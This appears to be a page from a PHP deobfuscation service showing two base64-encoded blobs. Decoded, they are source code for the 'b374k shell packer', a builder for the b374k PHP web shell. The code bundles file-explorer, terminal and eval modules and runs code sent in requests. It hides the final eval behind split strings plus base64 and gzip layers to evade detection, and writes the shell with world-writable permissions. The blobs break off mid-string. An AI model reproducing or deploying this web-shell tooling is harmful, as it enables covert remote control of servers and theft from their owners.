NCgkJJG91dHB1dCAuPSAiRmlsZW5hbWVcdFx0OiAiLiRvdXRwdXRmaWxlLiJcbiI7DQoJCSRvdXRwdXQgLj0gIlBhc3N3b3JkXHRcdDogIi4kcGFzc3dvcmQuIlxuIjsNCgkJJG91dHB1dCAuPSAiVGhlbWVcdFx0XHQ6ICIuJHRoZW1lLiJcbiI7DQoJCSRvdXRwdXQgLj0gIk1vZHVsZXNcdFx0XHQ6ICIuaW1wbG9kZSgiLCIsJG1vZHVsZXMpLiJcbiI7DQoJCSRvdXRwdXQgLj0gIlN0cmlwXHRcdFx0OiAiLiRzdHJpcC4iXG4iOw0KCQkkb3V0cHV0IC49ICJCYXNlNjRcdFx0XHQ6ICIuJGJhc2U2NC4iXG4iOw0KCQlpZigkYmFzZTY0PT0neWVzJykgJG91dHB1dCAuPSAiQ29tcHJlc3Npb25cdFx0OiAiLiRjb21wcmVzcy4iXG4iOw0KCQlpZigkYmFzZTY0PT0neWVzJykgJG91dHB1dCAuPSAiQ29tcHJlc3Npb24gbGV2ZWxcdDogIi4kY29tcHJlc3NfbGV2ZWwuIlxuIjsNCg0KCQkkbW9kdWxlX2FyciA9IGFycmF5X21lcmdlKGFycmF5KCJleHBsb3JlciIsICJ0ZXJtaW5hbCIsICJldmFsIiksICRtb2R1bGVzKTsNCgkJJG1vZHVsZV9hcnIgPSBhcnJheV9tYXAoInBhY2tlcl93cmFwX3dpdGhfcXVvdGUiLCAkbW9kdWxlX2Fycik7DQoJCSRtb2R1bGVfaW5pdCA9ICJcblwkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSA9IGFycmF5KCIuaW1wbG9kZSgiLCAiLCAkbW9kdWxlX2FycikuIik7IjsNCg0KCQlmb3JlYWNoKCRtb2R1bGVzIGFzICRtb2R1bGUpew0KCQkJJG1vZHVsZSA9IHRyaW0oJG1vZHVsZSk7DQoJCQkkZmlsZW5hbWUgPSAkR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZV9kaXInXS4kbW9kdWxlOw0KCQkJaWYoaXNfZmlsZSgkZmlsZW5hbWUuIi5waHAiKSkgJG1vZHVsZV9jb2RlIC49IHBhY2tlcl9yZWFkX2ZpbGUoJGZpbGVuYW1lLiIucGhwIik7DQoJCQlpZihpc19maWxlKCRmaWxlbmFtZS4iLmpzIikpICRqc19jb2RlIC49ICJcbiIucGFja2VyX3JlYWRfZmlsZSgkZmlsZW5hbWUuIi5qcyIpLiJcbiI7DQoJCX0NCg0KCQkkbGF5b3V0ID0gc3RyX3JlcGxhY2UoIjxfX0NTU19fPiIsICRjc3NfY29kZSwgJGxheW91dCk7DQoJCSRsYXlvdXQgPSBzdHJfcmVwbGFjZSgiPF9fWkVQVE9fXz4iLCAkemVwdG9fY29kZSwgJGxheW91dCk7DQoJCQ0KCQlpZigkc3RyaXA9PSd5ZXMnKSAkanNfY29kZSA9IHBhY2tlcl9wYWNrX2pzKCRqc19jb2RlKTsNCgkJJGxheW91dCA9IHN0cl9yZXBsYWNlKCI8X19KU19fPiIsICRqc19jb2RlLCAkbGF5b3V0KTsNCg0KCQkkaHRtbGNvZGUgPSB0cmltKCRsYXlvdXQpOw0KCQkkcGhwY29kZSA9ICI8P3BocCAiLnRyaW0oJG1vZHVsZV9pbml0KS4iPz4iLnRyaW0oJGJhc2VfY29kZSkudHJpbSgkbW9kdWxlX2NvZGUpOw0KDQoJCSRyZXMgPSBwYWNrZXJfYjM3NGsoJG91dHB1dGZpbGUsICRwaHBjb2RlLCAkaHRtbGNvZGUsICRzdHJpcCwgJGJhc2U2NCwgJGNvbXByZXNzLCAkY29tcHJlc3NfbGV2ZWwsICRwYXNzd29yZCk7DQoJCSRzdGF0dXMgPSBleHBsb2RlKCJ7W3xiMzc0a3xdfSIsICRyZXMpOw0KCQkkb3V0cHV0IC49ICJSZXN1bHRcdFx0XHQ6ICIuc3RyaXBfdGFncygkc3RhdHVzWzBdKS4iXG5cbiI7DQoJfQ0KCWVjaG8gJG91dHB1dDsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX3JlYWRfZmlsZSgkZmlsZSl7DQoJJGNvbnRlbnQgPSBmYWxzZTsNCglpZigkZmggPSBAZm9wZW4oJGZpbGUsICJyYiIpKXsNCgkJJGNvbnRlbnQgPSAiIjsNCgkJd2hpbGUoIWZlb2YoJGZoKSl7DQoJCSAgJGNvbnRlbnQgLj0gZnJlYWQoJGZoLCA4MTkyKTsNCgkJfQ0KCX0NCglyZXR1cm4gJGNvbnRlbnQ7DQp9DQoNCmZ1bmN0aW9uIHBhY2tlcl93cml0ZV9maWxlKCRmaWxlLCAkY29udGVudCl7DQoJaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAid2IiKSl7DQoJCWlmKGZ3cml0ZSgkZmgsICRjb250ZW50KSE9PWZhbHNlKXsNCgkJCWlmKCFjbGFzc19leGlzdHMoIlppcEFyY2hpdmUiKSkgcmV0dXJuIHRydWU7DQoJCQkNCgkJCWlmKGZpbGVfZXhpc3RzKCRmaWxlLiIuemlwIikpIHVubGluayAoJGZpbGUuIi56aXAiKTsNCgkJCSR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KCQkJJGZpbGVuYW1lID0gIi4vIi4kZmlsZS4iLnppcCI7DQoNCgkJCWlmKCR6aXAtPm9wZW4oJGZpbGVuYW1lLCBaaXBBcmNoaXZlOjpDUkVBVEUpIT09VFJVRSkgcmV0dXJuIGZhbHNlOw0KCQkJJHppcC0+YWRkRmlsZSgkZmlsZSk7DQoJCQkkemlwLT5jbG9zZSgpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfZ2V0X3Bvc3QoKXsNCglyZXR1cm4gcGFja2VyX2ZpeF9tYWdpY19xdW90ZSgkX1BPU1QpOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfZml4X21hZ2ljX3F1b3RlKCRhcnIpew0KCSRxdW90ZXNfc3liYXNlID0gc3RydG9sb3dlcihpbmlfZ2V0KCdtYWdpY19xdW90ZXNfc3liYXNlJykpOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSAmJiBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCgkJaWYoaXNfYXJyYXkoJGFycikpew0KCQkJZm9yZWFjaCgkYXJyIGFzICRrPT4kdil7DQoJCQkJaWYoaXNfYXJyYXkoJHYpKSAkYXJyWyRrXSA9IGNsZWFuKCR2KTsNCgkJCQllbHNlICRhcnJbJGtdID0gKGVtcHR5KCRxdW90ZXNfc3liYXNlKSB8fCAkcXVvdGVzX3N5YmFzZSA9PT0gJ29mZicpPyBzdHJpcHNsYXNoZXMoJHYpIDogc3RyaXBzbGFzaGVzKHN0cl9yZXBsYWNlKCJcJ1wnIiwgIlwnIiwgJHYpKTsNCgkJCX0NCgkJfQ0KCX0NCglyZXR1cm4gJGFycjsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX2h0bWxfc2FmZSgkc3RyKXsNCglyZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkc3RyLCAyIHwgMSk7DQp9DQoNCmZ1bmN0aW9uIHBhY2tlcl93cmFwX3dpdGhfcXVvdGUoJHN0cil7DQoJcmV0dXJuICJcIiIuJHN0ci4iXCIiOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfb3V0cHV0KCRzdHIpew0KCWhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7DQoJaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSIpOw0KCWhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KCWVjaG8gJHN0cjsNCglkaWUoKTsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX2dldF9zZWxmKCl7DQoJJHF1ZXJ5ID0gKGlzc2V0KCRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXSkmJighZW1wdHkoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSkpPyI/Ii4kX1NFUlZFUlsiUVVFUllfU1RSSU5HIl06IiI7DQoJcmV0dXJuIHBhY2tlcl9odG1sX3NhZmUoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0uJHF1ZXJ5KTsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX3N0cmlwcygkc3RyKXsNCgkkbmV3U3RyID0gJyc7DQoNCgkkY29tbWVudFRva2VucyA9IGFycmF5KFRfQ09NTUVOVCk7DQoNCglpZihkZWZpbmVkKCdUX0RPQ19DT01NRU5UJykpICRjb21tZW50VG9rZW5zW10gPSBUX0RPQ19DT01NRU5UOw0KCWlmKGRlZmluZWQoJ1RfTUxfQ09NTUVOVCcpKQkkY29tbWVudFRva2Vuc1tdID0gVF9NTF9DT01NRU5UOw0KDQoJJHRva2VucyA9IHRva2VuX2dldF9hbGwoJHN0cik7DQoNCglmb3JlYWNoKCR0b2tlbnMgYXMgJHRva2VuKXsNCgkJaWYgKGlzX2FycmF5KCR0b2tlbikpIHsNCgkJCWlmIChpbl9hcnJheSgkdG9rZW5bMF0sICRjb21tZW50VG9rZW5zKSkgY29udGludWU7DQoJCQkkdG9rZW4gPSAkdG9rZW5bMV07DQoJCX0NCgkkbmV3U3RyIC49ICR0b2tlbjsNCgl9DQoJJG5ld1N0ciA9IHByZWdfcmVwbGFjZSgiLyhcc3syLH0pLyIsICIgIiwgJG5ld1N0cik7DQoJcmV0dXJuICRuZXdTdHI7DQp9DQoNCmZ1bmN0aW9uIHBhY2tlcl9nZXRfdGhlbWUoKXsNCgkkYXZhaWxhYmxlX3RoZW1lcyA9IGFycmF5KCk7DQoJZm9yZWFjaChnbG9iKCRHTE9CQUxTWydwYWNrZXInXVsndGhlbWVfZGlyJ10uIiouY3NzIikgYXMgJGZpbGVuYW1lKXsNCgkJJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lLCAiLmNzcyIpOw0KCQkkYXZhaWxhYmxlX3RoZW1lc1tdID0gJGZpbGVuYW1lOw0KCX0NCglyZXR1cm4gJGF2YWlsYWJsZV90aGVtZXM7DQp9DQoNCmZ1bmN0aW9uIHBhY2tlcl9nZXRfbW9kdWxlKCl7DQoJJGF2YWlsYWJsZV9tb2R1bGVzID0gYXJyYXkoKTsNCglmb3JlYWNoKGdsb2IoJEdMT0JBTFNbJ3BhY2tlciddWydtb2R1bGVfZGlyJ10uIioucGhwIikgYXMgJGZpbGVuYW1lKXsNCgkJJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lLCAiLnBocCIpOw0KCQlpZihwYWNrZXJfY2hlY2tfbW9kdWxlKCRmaWxlbmFtZSkpICRhdmFpbGFibGVfbW9kdWxlc1tdID0gJGZpbGVuYW1lOw0KCX0NCglyZXR1cm4gJGF2YWlsYWJsZV9tb2R1bGVzOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfY2hlY2tfbW9kdWxlKCRtb2R1bGUpew0KCSRmaWxlbmFtZSA9ICRHTE9CQUxTWydwYWNrZXInXVsnbW9kdWxlX2RpciddLiRtb2R1bGU7DQoJaWYoaXNfZmlsZSgkZmlsZW5hbWUuIi5waHAiKSl7DQoJCSRjb250ZW50ID0gcGFja2VyX3JlYWRfZmlsZSgkZmlsZW5hbWUuIi5waHAiKTsNCgkJQGV2YWwoIj8+Ii4kY29udGVudCk7DQoJCWlmKCRHTE9CQUxTWydtb2R1bGUnXVskbW9kdWxlXVsnaWQnXT09JG1vZHVsZSkgcmV0dXJuIHRydWU7DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCg0KZnVuY3Rpb24gcGFja2VyX3BhY2tfanMoJHN0cil7DQoJJHBhY2tlciA9IG5ldyBKYXZhU2NyaXB0UGFja2VyKCRzdHIsIDAsIHRydWUsIGZhbHNlKTsNCglyZXR1cm4gJHBhY2tlci0+cGFjaygpOw0KfQ0KDQpmdW5jdGlvbiBwYWNrZXJfYjM3NGsoJG91dHB1dCwgJHBocGNvZGUsICRodG1sY29kZSwgJHN0cmlwLCAkYmFzZTY0LCAkY29tcHJlc3MsICRjb21wcmVzc19sZXZlbCwgJHBhc3N3b3JkKXsNCgkkY29udGVudCA9ICIiOw0KCWlmKGlzX2ZpbGUoJG91dHB1dCkpew0KCQlpZighaXNfd3JpdGFibGUoJG91dHB1dCkpIHJldHVybiAiZXJyb3IgOiBmaWxlICIuJG91dHB1dC4iIGV4aXN0cyBhbmQgaXMgbm90IHdyaXRhYmxle1t8YjM3NGt8XX0iOw0KCX0NCg0KCWlmKCFlbXB0eSgkcGFzc3dvcmQpKSAkcGFzc3dvcmQgPSAiXCRHTE9CQUxTWydwYXNzJ10gPSBcIiIuc2hhMShtZDUoJHBhc3N3b3JkKSkuIlwiOyAvLyBzaGExKG1kNShwYXNzKSlcbiI7DQoNCgkkY29tcHJlc3NfbGV2ZWwgPSAoaW50KSAkY29tcHJlc3NfbGV2ZWw7DQoJaWYoJGNvbXByZXNzX2xldmVsPDApICRjb21wcmVzc19sZXZlbCA9IDA7DQoJZWxzZWlmKCRjb21wcmVzc19sZXZlbD45KSAkY29tcHJlc3NfbGV2ZWwgPSA5Ow0KDQoJJHZlcnNpb24gPSAiIjsNCglpZihwcmVnX21hdGNoKCIvXFxcJEdMT0JBTFNcWyd2ZXInXF1cICo9XCAqW1wiJ10rKFteXCInXSspW1wiJ10rLyIsICRwaHBjb2RlLCAkcikpew0KCQkkdmVyc2lvbiA9ICRyWzFdOw0KCX0NCgkNCgkkaGVhZGVyID0gIjw/cGhwDQovKg0KCWIzNzRrIHNoZWxsICIuJHZlcnNpb24uIg0KCUpheWFsYWggSW5kb25lc2lha3UNCgkoYykiLkBkYXRlKCJZIix0aW1lKCkpLiINCglodHRwczovL2dpdGh1Yi5jb20vYjM3NGsvYjM3NGsNCg0KKi9cbiI7DQoNCg0KCWlmKCRzdHJpcD09J3llcycpew0KCQkkcGhwY29kZSA9IHBhY2tlcl9zdHJpcHMoJHBocGNvZGUpOw0KCQkkaHRtbGNvZGUgPSBwcmVnX3JlcGxhY2UoIi8oXCB7Mix9fFxuezIsfXxcdCspLyIsICIiLCAkaHRtbGNvZGUpOw0KCQkkaHRtbGNvZGUgPSBwcmVnX3JlcGxhY2UoIi9cci8iLCAiIiwgJGh0bWxjb2RlKTsNCgkJJGh0bWxjb2RlID0gcHJlZ19yZXBsYWNlKCIvfVxuKy8iLCAifSIsICRodG1sY29kZSk7DQoJCSRodG1sY29kZSA9IHByZWdfcmVwbGFjZSgiL1xuK30vIiwgIn0iLCAkaHRtbGNvZGUpOw0KCQkkaHRtbGNvZGUgPSBwcmVnX3JlcGxhY2UoIi9cbit7LyIsICJ7IiwgJGh0bWxjb2RlKTsNCgkJJGh0bWxjb2RlID0gcHJlZ19yZXBsYWNlKCIvXG4rLyIsICJcbiIsICRodG1sY29kZSk7DQoJfQ0KDQoNCgkkY29udGVudCA9ICRwaHBjb2RlLiRodG1sY29kZTsNCg0KCWlmKCRjb21wcmVzcz09J2d6ZGVmbGF0ZScpew0KCQkkY29udGVudCA9IGd6ZGVmbGF0ZSgkY29udGVudCwgJGNvbXByZXNzX2xldmVsKTsNCgkJJGVuY29kZXJfZnVuYyA9ICJneicuJ2luJy4nZmxhJy4ndGUiOw0KCX0NCgllbHNlaWYoJGNvbXByZXNzPT0nZ3plbmNvZGUnKXsNCgkJJGNvbnRlbnQgPSBnemVuY29kZSgkY29udGVudCwgJGNvbXByZXNzX2xldmVsKTsNCgkJJGVuY29kZXJfZnVuYyA9ICJneicuJ2RlJy4nY28nLidkZSI7DQoJfQ0KCWVsc2VpZigkY29tcHJlc3M9PSdnemNvbXByZXNzJyl7DQoJCSRjb250ZW50ID0gZ3pjb21wcmVzcygkY29udGVudCwgJGNvbXByZXNzX2xldmVsKTsNCgkJJGVuY29kZXJfZnVuYyA9ICJneicuJ3VuJy4nY29tJy4ncHJlJy4nc3MiOw0KCX0NCgllbHNlew0KCQkkZW5jb2Rlcl9mdW5jID0gIiI7DQoJfQ0KDQoJaWYoJGJhc2U2ND09J3llcycpew0KCQkkY29udGVudCA9IGJhc2U2NF9lbmNvZGUoJGNvbnRlbnQpOw0KCQlpZigkY29tcHJlc3MhPSdubycpew0KCQkJJGVuY29kZXIgPSAkZW5jb2Rlcl9mdW5jLiIoYmEnLidzZScuJzY0Jy4nX2RlJy4nY28nLidkZShcJHgpKSI7DQoJCX0NCgkJZWxzZXsNCgkJCSRlbmNvZGVyID0gImJhJy4nc2UnLic2NCcuJ19kZScuJ2NvJy4nZGUoXCJcJHhcIikiOw0KCQl9DQoNCgkJJGNvZGUgPSAkaGVhZGVyLiRwYXNzd29yZC4iXCRmdW5jPVwiY3JcIi5cImVhdFwiLlwiZV9mdW5cIi5cImN0aVwiLlwib25cIjtcJGIzNzRrPVwkZnVuYygnXCR4JywnZXYnLidhbCcuJyhcIj8+XCIuIi4kZW5jb2Rlci4iKTsnKTtcJGIzNzRrKFwiIi4kY29udGVudC4iXCIpOz8+IjsNCgl9DQoJZWxzZXsNCgkJaWYoJGNvbXByZXNzIT0nbm8nKXsNCgkJCSRlbmNvZGVyID0gJGVuY29kZXJfZnVuYy4iKFwkeCkiOw0KCQl9DQoJCWVsc2V7DQoJCQkkY29kZSA9ICRoZWFkZXIuJHBhc3N3b3JkLiI/PiIuJGNvbnRlbnQ7DQoJCQkkY29kZSA9IHByZWdfcmVwbGFjZSgiL1w/PlxzKjxcP3BocFxzKi8iLCAiIiwgJGNvZGUpOw0KCQl9DQoJfQ0KDQoJaWYoaXNfZmlsZSgkb3V0cHV0KSkgdW5saW5rKCRvdXRwdXQpOw0KCWlmKHBhY2tlcl93cml0ZV9maWxlKCRvdXRwdXQsICRjb2RlKSl7DQoJCWNobW9kKCRvdXRwdXQsIDA3NzcpOw0KCQlyZXR1cm4gIlN1Y2NlZWRlZCA6IDxhIGhyZWY9JyIuJG91dHB1dC4iJyB0YXJnZXQ9J19ibGFuayc+WyAiLiRvdXRwdXQuIiBdIEZpbGVzaXplIDogIi5maWxlc2l6ZSgkb3V0cHV0KS4iPC9hPntbfGIzNzRrfF19Ii5wYWNrZXJfaHRtbF9zYWZlKHRyaW0oJGNvZGUpKTsNCgl9DQoJcmV0dXJuICJlcnJvcntbfGIzNzRrfF19IjsNCn0NCg0KPz4= ?>
Did this file decode correctly?
Original Code
PD9waHANCi8qDQoJYjM3NGsgc2hlbGwNCglKYXlhbGFoIEluZG9uZXNpYWt1DQoJKGMpMjAxNA0KCWh0dHBzOi8vZ2l0aHViLmNvbS9iMzc0ay9iMzc0aw0KDQoqLw0KJEdMT0JBTFNbJ3BhY2tlciddWyd0aXRsZSddID0gImIzNzRrIHNoZWxsIHBhY2tlciI7DQokR0xPQkFMU1sncGFja2VyJ11bJ3ZlcnNpb24nXSA9ICIwLjQuMiI7DQokR0xPQkFMU1sncGFja2VyJ11bJ2Jhc2VfZGlyJ10gPSAiLi9iYXNlLyI7DQokR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZV9kaXInXSA9ICIuL21vZHVsZS8iOw0KJEdMT0JBTFNbJ3BhY2tlciddWyd0aGVtZV9kaXInXSA9ICIuL3RoZW1lLyI7DQokR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZSddID0gcGFja2VyX2dldF9tb2R1bGUoKTsNCiRHTE9CQUxTWydwYWNrZXInXVsndGhlbWUnXSA9IHBhY2tlcl9nZXRfdGhlbWUoKTsNCg0KcmVxdWlyZSAkR0xPQkFMU1sncGFja2VyJ11bJ2Jhc2VfZGlyJ10uJ2pzUGFja2VyLnBocCc7DQoNCi8qIFBIUCBGSUxFUyBTVEFSVCAqLw0KJGJhc2VfY29kZSA9ICIiOw0KJGJhc2VfY29kZSAuPSBwYWNrZXJfcmVhZF9maWxlKCRHTE9CQUxTWydwYWNrZXInXVsnYmFzZV9kaXInXS4icmVzb3VyY2VzLnBocCIpOw0KJGJhc2VfY29kZSAuPSBwYWNrZXJfcmVhZF9maWxlKCRHTE9CQUxTWydwYWNrZXInXVsnYmFzZV9kaXInXS4ibWFpbi5waHAiKTsNCiRtb2R1bGVfY29kZSA9IHBhY2tlcl9yZWFkX2ZpbGUoJEdMT0JBTFNbJ3BhY2tlciddWydiYXNlX2RpciddLiJiYXNlLnBocCIpOw0KLyogUEhQIEZJTEVTIEVORCAqLw0KDQovKiBKQVZBU0NSSVBUIEFORCBDU1MgRklMRVMgU1RBUlQgKi8NCiR6ZXB0b19jb2RlID0gcGFja2VyX3JlYWRfZmlsZSgkR0xPQkFMU1sncGFja2VyJ11bJ2Jhc2VfZGlyJ10uInplcHRvLmpzIik7DQokanNfbWFpbl9jb2RlID0gIlxuXG4iLnBhY2tlcl9yZWFkX2ZpbGUoJEdMT0JBTFNbJ3BhY2tlciddWydiYXNlX2RpciddLiJtYWluLmpzIik7DQoNCiRqc19jb2RlID0gIlxuXG4iLnBhY2tlcl9yZWFkX2ZpbGUoJEdMT0JBTFNbJ3BhY2tlciddWydiYXNlX2RpciddLiJzb3J0YWJsZS5qcyIpLiRqc19tYWluX2NvZGU7DQokanNfY29kZSAuPSAiXG5cbiIucGFja2VyX3JlYWRfZmlsZSgkR0xPQkFMU1sncGFja2VyJ11bJ2Jhc2VfZGlyJ10uImJhc2UuanMiKTsNCg0KDQppZihpc3NldCgkX0NPT0tJRVsncGFja2VyX3RoZW1lJ10pKQkkdGhlbWUgPSAkX0NPT0tJRVsncGFja2VyX3RoZW1lJ107DQplbHNlICR0aGVtZSA9ImRlZmF1bHQiOw0KJGNzc19jb2RlID0gcGFja2VyX3JlYWRfZmlsZSgkR0xPQkFMU1sncGFja2VyJ11bJ3RoZW1lX2RpciddLiR0aGVtZS4iLmNzcyIpOw0KDQovKiBKQVZBU0NSSVBUIEFORCBDU1MgRklMRVMgRU5EICovDQoNCi8vIGxheW91dA0KJGxheW91dCA9IHBhY2tlcl9yZWFkX2ZpbGUoJEdMT0JBTFNbJ3BhY2tlciddWydiYXNlX2RpciddLiJsYXlvdXQucGhwIik7DQokcCA9IGFycmF5X21hcCgicmF3dXJsZGVjb2RlIiwgcGFja2VyX2dldF9wb3N0KCkpOw0KDQppZihpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkpew0KCWlmKGlzc2V0KCRwWydyZWFkX2ZpbGUnXSkpew0KCQkkZmlsZSA9ICRwWydyZWFkX2ZpbGUnXTsNCgkJaWYoaXNfZmlsZSgkZmlsZSkpew0KCQkJcGFja2VyX291dHB1dChwYWNrZXJfaHRtbF9zYWZlKHBhY2tlcl9yZWFkX2ZpbGUoJGZpbGUpKSk7DQoJCX0NCgkJcGFja2VyX291dHB1dCgnZXJyb3InKTsNCgl9DQoJZWxzZWlmKGlzc2V0KCRfR0VUWydydW4nXSkpew0KCQlpZihlbXB0eSgkX0dFVFsncnVuJ10pKSAkbW9kdWxlcyA9IGFycmF5KCk7DQoJCWVsc2UgJG1vZHVsZXMgPSBleHBsb2RlKCIsIiAsJF9HRVRbJ3J1biddKTsNCgkJJG1vZHVsZV9hcnIgPSBhcnJheV9tZXJnZShhcnJheSgiZXhwbG9yZXIiLCAidGVybWluYWwiLCAiZXZhbCIpLCAkbW9kdWxlcyk7DQoNCgkJJG1vZHVsZV9hcnIgPSBhcnJheV9tYXAoInBhY2tlcl93cmFwX3dpdGhfcXVvdGUiLCAkbW9kdWxlX2Fycik7DQoJCSRtb2R1bGVfaW5pdCA9ICJcblwkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSA9IGFycmF5KCIuaW1wbG9kZSgiLCAiLCAkbW9kdWxlX2FycikuIik7IjsNCg0KCQlmb3JlYWNoKCRtb2R1bGVzIGFzICRtb2R1bGUpew0KCQkJJG1vZHVsZSA9IHRyaW0oJG1vZHVsZSk7DQoJCQkkZmlsZW5hbWUgPSAkR0xPQkFMU1sncGFja2VyJ11bJ21vZHVsZV9kaXInXS4kbW9kdWxlOw0KCQkJaWYoaXNfZmlsZSgkZmlsZW5hbWUuIi5waHAiKSkgJG1vZHVsZV9jb2RlIC49IHBhY2tlcl9yZWFkX2ZpbGUoJGZpbGVuYW1lLiIucGhwIik7DQoJCQlpZihpc19maWxlKCRmaWxlbmFtZS4iLmpzIikpICRqc19jb2RlIC49ICJcbiIucGFja2VyX3JlYWRfZmlsZSgkZmlsZW5hbWUuIi5qcyIpLiJcbiI7DQoNCgkJfQ0KDQoJCSRsYXlvdXQgPSBzdHJfcmVwbGFjZSgiPF9fQ1NTX18+IiwgJGNzc19jb2RlLCAkbGF5b3V0KTsNCgkJJGxheW91dCA9IHN0cl9yZXBsYWNlKCI8X19aRVBUT19fPiIsICR6ZXB0b19jb2RlLCAkbGF5b3V0KTsNCgkJJGxheW91dCA9IHN0cl9yZXBsYWNlKCI8X19KU19fPiIsICRqc19jb2RlLCAkbGF5b3V0KTsNCg0KCQkkY29udGVudCA9IHRyaW0oJG1vZHVsZV9pbml0KS4iPz4iLiRiYXNlX2NvZGUuJG1vZHVsZV9jb2RlLiRsYXlvdXQ7DQoJCWV2YWwoJGNvbnRlbnQpOw0KCQlkaWUoKTsNCgl9DQoJZWxzZWlmKGlzc2V0KCRwWydvdXRwdXRmaWxlJ10pJiZpc3NldCgkcFsncGFzc3dvcmQnXSkmJmlzc2V0KCRwWydtb2R1bGUnXSkmJmlzc2V0KCRwWydzdHJpcCddKSYmaXNzZXQoJHBbJ2Jhc2U2NCddKSYmaXNzZXQoJHBbJ2NvbXByZXNzJ10pJiZpc3NldCgkcFsnY29tcHJlc3NfbGV2ZWwnXSkpew0KCQkkb3V0cHV0ZmlsZSA9IHRyaW0oJHBbJ291dHB1dGZpbGUnXSk7DQoJCWlmKGVtcHR5KCRvdXRwdXRmaWxlKSkgJG91dHB1dGZpbGUgPSAnYjM3NGsucGhwJzsNCgkJJHBhc3N3b3JkID0gdHJpbSgkcFsncGFzc3dvcmQnXSk7DQoJCSRtb2R1bGVzID0gdHJpbSgkcFsnbW9kdWxlJ10pOw0KCQlpZihlbXB0eSgkbW9kdWxlcykpICRtb2R1bGVzID0gYXJyYXkoKTsNCgkJZWxzZSAkbW9kdWxlcyA9IGV4cGxvZGUoIiwiICwkbW9kdWxlcyk7DQoNCgkJJHN0cmlwID0gdHJpbSgkcFsnc3RyaXAnXSk7DQoJCSRiYXNlNjQgPSB0cmltKCRwWydiYXNlNjQnXSk7DQoJCSRjb21wcmVzcyA9IHRyaW0oJHBbJ2NvbXByZXNzJ10pOw0KCQkkY29tcHJlc3NfbGV2ZWwgPSAoaW50KSAkcFsnY29tcHJlc3NfbGV2ZWwnXTsNCg0KCQkkbW9kdWxlX2FyciA9IGFycmF5X21lcmdlKGFycmF5KCJleHBsb3JlciIsICJ0ZXJtaW5hbCIsICJldmFsIiksICRtb2R1bGVzKTsNCg0KCQkkbW9kdWxlX2FyciA9IGFycmF5X21hcCgicGFja2VyX3dyYXBfd2l0aF9xdW90ZSIsICRtb2R1bGVfYXJyKTsNCgkJJG1vZHVsZV9pbml0ID0gIlxuXCRHTE9CQUxTWydtb2R1bGVfdG9fbG9hZCddID0gYXJyYXkoIi5pbXBsb2RlKCIsICIsICRtb2R1bGVfYXJyKS4iKTsiOw0KDQoJCWZvcmVhY2goJG1vZHVsZXMgYXMgJG1vZHVsZSl7DQoJCQkkbW9kdWxlID0gdHJpbSgkbW9kdWxlKTsNCgkJCSRmaWxlbmFtZSA9ICRHTE9CQUxTWydwYWNrZXInXVsnbW9kdWxlX2RpciddLiRtb2R1bGU7DQoJCQlpZihpc19maWxlKCRmaWxlbmFtZS4iLnBocCIpKSAkbW9kdWxlX2NvZGUgLj0gcGFja2VyX3JlYWRfZmlsZSgkZmlsZW5hbWUuIi5waHAiKTsNCgkJCWlmKGlzX2ZpbGUoJGZpbGVuYW1lLiIuanMiKSkgJGpzX2NvZGUgLj0gIlxuIi5wYWNrZXJfcmVhZF9maWxlKCRmaWxlbmFtZS4iLmpzIikuIlxuIjsNCg0KCQl9DQoNCgkJJGxheW91dCA9IHN0cl9yZXBsYWNlKCI8X19DU1NfXz4iLCAkY3NzX2NvZGUsICRsYXlvdXQpOw0KCQkkbGF5b3V0ID0gc3RyX3JlcGxhY2UoIjxfX1pFUFRPX18+IiwgJHplcHRvX2NvZGUsICRsYXlvdXQpOw0KCQkNCgkJaWYoJHN0cmlwPT0neWVzJykgJGpzX2NvZGUgPSBwYWNrZXJfcGFja19qcygkanNfY29kZSk7DQoJCSRsYXlvdXQgPSBzdHJfcmVwbGFjZSgiPF9fSlNfXz4iLCAkanNfY29kZSwgJGxheW91dCk7DQoNCg0KCQkkaHRtbGNvZGUgPSB0cmltKCRsYXlvdXQpOw0KCQkkcGhwY29kZSA9ICI8P3BocCAiLnRyaW0oJG1vZHVsZV9pbml0KS4iPz4iLnRyaW0oJGJhc2VfY29kZSkudHJpbSgkbW9kdWxlX2NvZGUpOw0KDQoJCXBhY2tlcl9vdXRwdXQocGFja2VyX2IzNzRrKCRvdXRwdXRmaWxlLCAkcGhwY29kZSwgJGh0bWxjb2RlLCAkc3RyaXAsICRiYXNlNjQsICRjb21wcmVzcywgJGNvbXByZXNzX2xldmVsLCAkcGFzc3dvcmQpKTsNCgl9DQoJZWxzZXsNCgkNCgkkYXZhaWxhYmxlX3RoZW1lcyA9ICI8dHI+PHRkPlRoZW1lPC90ZD48dGQ+PHNlbGVjdCBjbGFzcz0ndGhlbWUnIHN0eWxlPSd3aWR0aDoxNTBweDsnPiI7DQoJZm9yZWFjaCgkR0xPQkFMU1sncGFja2VyJ11bJ3RoZW1lJ10gYXMgJGspew0KCQlpZigkaz09JHRoZW